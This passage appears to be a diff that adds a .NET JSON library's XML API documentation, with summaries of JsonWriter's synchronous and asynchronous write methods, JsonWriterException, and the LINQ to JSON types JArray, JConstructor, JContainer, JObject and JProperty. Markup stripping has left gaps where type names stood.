synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the specified end token. + + The end token to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes indent characters. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the JSON value delimiter. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes an indent space. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes raw JSON without changing the writer's state. + + The raw JSON to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the end of the current JSON object or array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the end of an array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the end of a constructor. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the end of a JSON object. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a null value. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the property name of a name/value pair of a JSON object. + + The name of the property. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the property name of a name/value pair of a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the beginning of a JSON array. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the start of a constructor with the given name. + + The name of the constructor. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the beginning of a JSON object. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the current token. + + The to read the token from. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the current token. + + The to read the token from. + A flag indicating whether the current token's children should be written. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the token and its value. + + The to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the token and its value. + + The to write. + + The value to write. + A value is only required for tokens that have an associated value, e.g. the property name for . + null can be passed to the method for tokens that don't have a value, e.g. . + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a [] value. + + The [] value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a value. + + The value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes a of value. + + The of value to write. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes an undefined value. + + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously writes the given white space. + + The string of white space characters. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Asynchronously ets the state of the . + + The being written. + The value being written. + The token to monitor for cancellation requests. The default value is . + A that represents the asynchronous operation. + The default behaviour is to execute synchronously, returning an already-completed task. Derived + classes can override this behaviour for true asynchronicity. + + + + Gets or sets a value indicating whether the destination should be closed when this writer is closed. + + + true to close the destination when this writer is closed; otherwise false. The default is true. + + + + + Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed. + + + true to auto-complete the JSON when this writer is closed; otherwise false. The default is true. + + + + + Gets the top. + + The top. + + + + Gets the state of the writer. + + + + + Gets the path of the writer. + + + + + Gets or sets a value indicating how JSON text output should be formatted. + + + + + Gets or sets how dates are written to JSON text. + + + + + Gets or sets how time zones are handled when writing JSON text. + + + + + Gets or sets how strings are escaped when writing JSON text. + + + + + Gets or sets how special floating point numbers, e.g. , + and , + are written to JSON text. + + + + + Gets or sets how and values are formatted when writing JSON text. + + + + + Gets or sets the culture used when writing JSON. Defaults to . + + + + + Initializes a new instance of the class. + + + + + Flushes whatever is in the buffer to the destination and also flushes the destination. + + + + + Closes this writer. + If is set to true, the destination is also closed. + If is set to true, the JSON is auto-completed. + + + + + Writes the beginning of a JSON object. + + + + + Writes the end of a JSON object. + + + + + Writes the beginning of a JSON array. + + + + + Writes the end of an array. + + + + + Writes the start of a constructor with the given name. + + The name of the constructor. + + + + Writes the end constructor. + + + + + Writes the property name of a name/value pair of a JSON object. + + The name of the property. + + + + Writes the property name of a name/value pair of a JSON object. + + The name of the property. + A flag to indicate whether the text should be escaped when it is written as a JSON property name. + + + + Writes the end of the current JSON object or array. + + + + + Writes the current token and its children. + + The to read the token from. + + + + Writes the current token. + + The to read the token from. + A flag indicating whether the current token's children should be written. + + + + Writes the token and its value. + + The to write. + + The value to write. + A value is only required for tokens that have an associated value, e.g. the property name for . + null can be passed to the method for tokens that don't have a value, e.g. . + + + + + Writes the token. + + The to write. + + + + Writes the specified end token. + + The end token to write. + + + + Writes indent characters. + + + + + Writes the JSON value delimiter. + + + + + Writes an indent space. + + + + + Writes a null value. + + + + + Writes an undefined value. + + + + + Writes raw JSON without changing the writer's state. + + The raw JSON to write. + + + + Writes raw JSON where a value is expected and updates the writer's state. + + The raw JSON to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + + The value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a of value. + + The of value to write. + + + + Writes a [] value. + + The [] value to write. + + + + Writes a value. + + The value to write. + + + + Writes a value. + An error will raised if the value cannot be written as a single JSON token. + + The value to write. + + + + Writes a comment /*...*/ containing the specified text. + + Text to place inside the comment. + + + + Writes the given white space. + + The string of white space characters. + + + + Releases unmanaged and - optionally - managed resources. + + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + + Sets the state of the . + + The being written. + The value being written. + + + + The exception thrown when an error occurs while writing JSON text. + + + + + Gets the path to the JSON where the error occurred. + + The path to the JSON where the error occurred. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class + with a specified error message. + + The error message that explains the reason for the exception. + + + + Initializes a new instance of the class + with a specified error message and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Initializes a new instance of the class. + + The that holds the serialized object data about the exception being thrown. + The that contains contextual information about the source or destination. + The parameter is null. + The class name is null or is zero (0). + + + + Initializes a new instance of the class + with a specified error message, JSON path and a reference to the inner exception that is the cause of this exception. + + The error message that explains the reason for the exception. + The path to the JSON where the error occurred. + The exception that is the cause of the current exception, or null if no inner exception is specified. + + + + Specifies how JSON comments are handled when loading JSON. + + + + + Ignore comments. + + + + + Load comments as a with type . + + + + + Specifies how duplicate property names are handled when loading JSON. + + + + + Replace the existing value when there is a duplicate property. The value of the last property in the JSON object will be used. + + + + + Ignore the new value when there is a duplicate property. The value of the first property in the JSON object will be used. + + + + + Throw a when a duplicate property is encountered. + + + + + Contains the LINQ to JSON extension methods. + + + + + Returns a collection of tokens that contains the ancestors of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains the ancestors of every token in the source collection. + + + + Returns a collection of tokens that contains every token in the source collection, and the ancestors of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains every token in the source collection, the ancestors of every token in the source collection. + + + + Returns a collection of tokens that contains the descendants of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains the descendants of every token in the source collection. + + + + Returns a collection of tokens that contains every token in the source collection, and the descendants of every token in the source collection. + + The type of the objects in source, constrained to . + An of that contains the source collection. + An of that contains every token in the source collection, and the descendants of every token in the source collection. + + + + Returns a collection of child properties of every object in the source collection. + + An of that contains the source collection. + An of that contains the properties of every object in the source collection. + + + + Returns a collection of child values of every object in the source collection with the given key. + + An of that contains the source collection. + The token key. + An of that contains the values of every token in the source collection with the given key. + + + + Returns a collection of child values of every object in the source collection. + + An of that contains the source collection. + An of that contains the values of every token in the source collection. + + + + Returns a collection of converted child values of every object in the source collection with the given key. + + The type to convert the values to. + An of that contains the source collection. + The token key. + An that contains the converted values of every token in the source collection with the given key. + + + + Returns a collection of converted child values of every object in the source collection. + + The type to convert the values to. + An of that contains the source collection. + An that contains the converted values of every token in the source collection. + + + + Converts the value. + + The type to convert the value to. + A cast as a of . + A converted value. + + + + Converts the value. + + The source collection type. + The type to convert the value to. + A cast as a of . + A converted value. + + + + Returns a collection of child tokens of every array in the source collection. + + The source collection type. + An of that contains the source collection. + An of that contains the values of every token in the source collection. + + + + Returns a collection of converted child tokens of every array in the source collection. + + An of that contains the source collection. + The type to convert the values to. + The source collection type. + An that contains the converted values of every token in the source collection. + + + + Returns the input typed as . + + An of that contains the source collection. + The input typed as . + + + + Returns the input typed as . + + The source collection type. + An of that contains the source collection. + The input typed as . + + + + Represents a collection of objects. + + The type of token. + + + + Gets the of with the specified key. + + + + + + Represents a JSON array. + + + + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous load. The property contains the JSON that was read from the specified . + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous load. The property contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified content. + + The contents of the array. + + + + Initializes a new instance of the class with the specified content. + + The contents of the array. + + + + Loads an from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads an from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + + + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + + + + + + Creates a from an object. + + The object that will be used to create . + A with the values of the specified object. + + + + Creates a from an object. + + The object that will be used to create . + The that will be used to read the object. + A with the values of the specified object. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets or sets the at the specified index. + + + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Inserts an item to the at the specified index. + + The zero-based index at which should be inserted. + The object to insert into the . + + is not a valid index in the . + + + + + Removes the item at the specified index. + + The zero-based index of the item to remove. + + is not a valid index in the . + + + + + Returns an enumerator that iterates through the collection. + + + A of that can be used to iterate through the collection. + + + + + Adds an item to the . + + The object to add to the . + + + + Removes all items from the . + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Copies the elements of the to an array, starting at a particular array index. + + The array. + Index of the array. + + + + Gets a value indicating whether the is read-only. + + true if the is read-only; otherwise, false. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Represents a JSON constructor. + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous load. The + property returns a that contains the JSON that was read from the specified . + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous load. The + property returns a that contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets or sets the name of this constructor. + + The constructor name. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified name and content. + + The constructor name. + The contents of the constructor. + + + + Initializes a new instance of the class with the specified name and content. + + The constructor name. + The contents of the constructor. + + + + Initializes a new instance of the class with the specified name. + + The constructor name. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified key. + + The with the specified key. + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + + + Represents a token that can contain other tokens. + + + + + Occurs when the list changes or an item in the list changes. + + + + + Occurs before an item is added to the collection. + + + + + Occurs when the items list of the collection has changed, or the collection is reset. + + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Raises the event. + + The instance containing the event data. + + + + Raises the event. + + The instance containing the event data. + + + + Raises the event. + + The instance containing the event data. + + + + Gets a value indicating whether this token has child tokens. + + + true if this token has child values; otherwise, false. + + + + + Get the first child token of this token. + + + A containing the first child token of the . + + + + + Get the last child token of this token. + + + A containing the last child token of the . + + + + + Returns a collection of the child tokens of this token, in document order. + + + An of containing the child tokens of this , in document order. + + + + + Returns a collection of the child values of this token, in document order. + + The type to convert the values to. + + A containing the child values of this , in document order. + + + + + Returns a collection of the descendant tokens for this token in document order. + + An of containing the descendant tokens of the . + + + + Returns a collection of the tokens that contain this token, and all descendant tokens of this token, in document order. + + An of containing this token, and all the descendant tokens of the . + + + + Adds the specified content as children of this . + + The content to be added. + + + + Adds the specified content as the first children of this . + + The content to be added. + + + + Creates a that can be used to add tokens to the . + + A that is ready to have content written to it. + + + + Replaces the child nodes of this token with the specified content. + + The content. + + + + Removes the child nodes from this token. + + + + + Merge the specified content into this . + + The content to be merged. + + + + Merge the specified content into this using . + + The content to be merged. + The used to merge the content. + + + + Gets the count of child JSON tokens. + + The count of child JSON tokens. + + + + Represents a collection of objects. + + The type of token. + + + + An empty collection of objects. + + + + + Initializes a new instance of the struct. + + The enumerable. + + + + Returns an enumerator that can be used to iterate through the collection. + + + A that can be used to iterate through the collection. + + + + + Gets the of with the specified key. + + + + + + Determines whether the specified is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Determines whether the specified is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Represents a JSON object. + + + + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous load. The + property returns a that contains the JSON that was read from the specified . + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + + A that represents the asynchronous load. The + property returns a that contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Occurs when a property value changes. + + + + + Occurs when a property value is changing. + + + + + Initializes a new instance of the class. + + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Initializes a new instance of the class with the specified content. + + The contents of the object. + + + + Initializes a new instance of the class with the specified content. + + The contents of the object. + + + + Gets the node type for this . + + The type. + + + + Gets an of of this object's properties. + + An of of this object's properties. + + + + Gets a with the specified name. + + The property name. + A with the specified name or null. + + + + Gets the with the specified name. + The exact name will be searched for first and if no matching property is found then + the will be used to match a property. + + The property name. + One of the enumeration values that specifies how the strings will be compared. + A matched with the specified name or null. + + + + Gets a of of this object's property values. + + A of of this object's property values. + + + + Gets the with the specified key. + + The with the specified key. + + + + Gets or sets the with the specified property name. + + + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read from the specified . + + is not valid JSON. + + + + + Loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + A that contains the JSON that was read from the specified . + + is not valid JSON. + + + + + Load a from a string that contains JSON. + + A that contains JSON. + A populated from the string that contains JSON. + + is not valid JSON. + + + + + + + + Load a from a string that contains JSON. + + A that contains JSON. + The used to load the JSON. + If this is null, default load settings will be used. + A populated from the string that contains JSON. + + is not valid JSON. + + + + + + + + Creates a from an object. + + The object that will be used to create . + A with the values of the specified object. + + + + Creates a from an object. + + The object that will be used to create . + The that will be used to read the object. + A with the values of the specified object. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Gets the with the specified property name. + + Name of the property. + The with the specified property name. + + + + Gets the with the specified property name. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + Name of the property. + One of the enumeration values that specifies how the strings will be compared. + The with the specified property name. + + + + Tries to get the with the specified property name. + The exact property name will be searched for first and if no matching property is found then + the will be used to match a property. + + Name of the property. + The value. + One of the enumeration values that specifies how the strings will be compared. + true if a value was successfully retrieved; otherwise, false. + + + + Adds the specified property name. + + Name of the property. + The value. + + + + Determines whether the JSON object has the specified property name. + + Name of the property. + true if the JSON object has the specified property name; otherwise, false. + + + + Removes the property with the specified name. + + Name of the property. + true if item was successfully removed; otherwise, false. + + + + Tries to get the with the specified property name. + + Name of the property. + The value. + true if a value was successfully retrieved; otherwise, false. + + + + Returns an enumerator that can be used to iterate through the collection. + + + A that can be used to iterate through the collection. + + + + + Raises the event with the provided arguments. + + Name of the property. + + + + Raises the event with the provided arguments. + + Name of the property. + + + + Returns the responsible for binding operations performed on this object. + + The expression tree representation of the runtime value. + + The to bind this object. + + + + + Represents a JSON property. + + + + + Writes this token to a asynchronously. + + A into which this method will write. + The token to monitor for cancellation requests. + A collection of which will be used when writing the token. + A that represents the asynchronous write operation. + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous creation. The + property returns a that contains the JSON that was read from the specified . + + + + Asynchronously loads a from a . + + A that will be read for the content of the . + The used to load the JSON. + If this is null, default load settings will be used. + The token to monitor for cancellation requests. The default value is . + A representing the asynchronous creation. The + property returns a that contains the JSON that was read from the specified . + + + + Gets the container's children tokens. + + The container's children tokens. + + + + Gets the property name. + + The property name. + + + + Gets or sets the property value. + + The property value. + + + + Initializes a new instance of the class from another object. + + A object to copy from. + + + + Gets the node type for this . + + The type. + + + + Initializes a new instance of the class. + + The property name. + The property content. + + + + Initializes a new instance of the class. + + The property name. + The property content. + + + + Writes this token to a . + + A into which this method will write. + A collection of which will be used when writing the token. + + + + Loads a from a . + + A that will be read for the content of the . + A that contains the JSON that was read 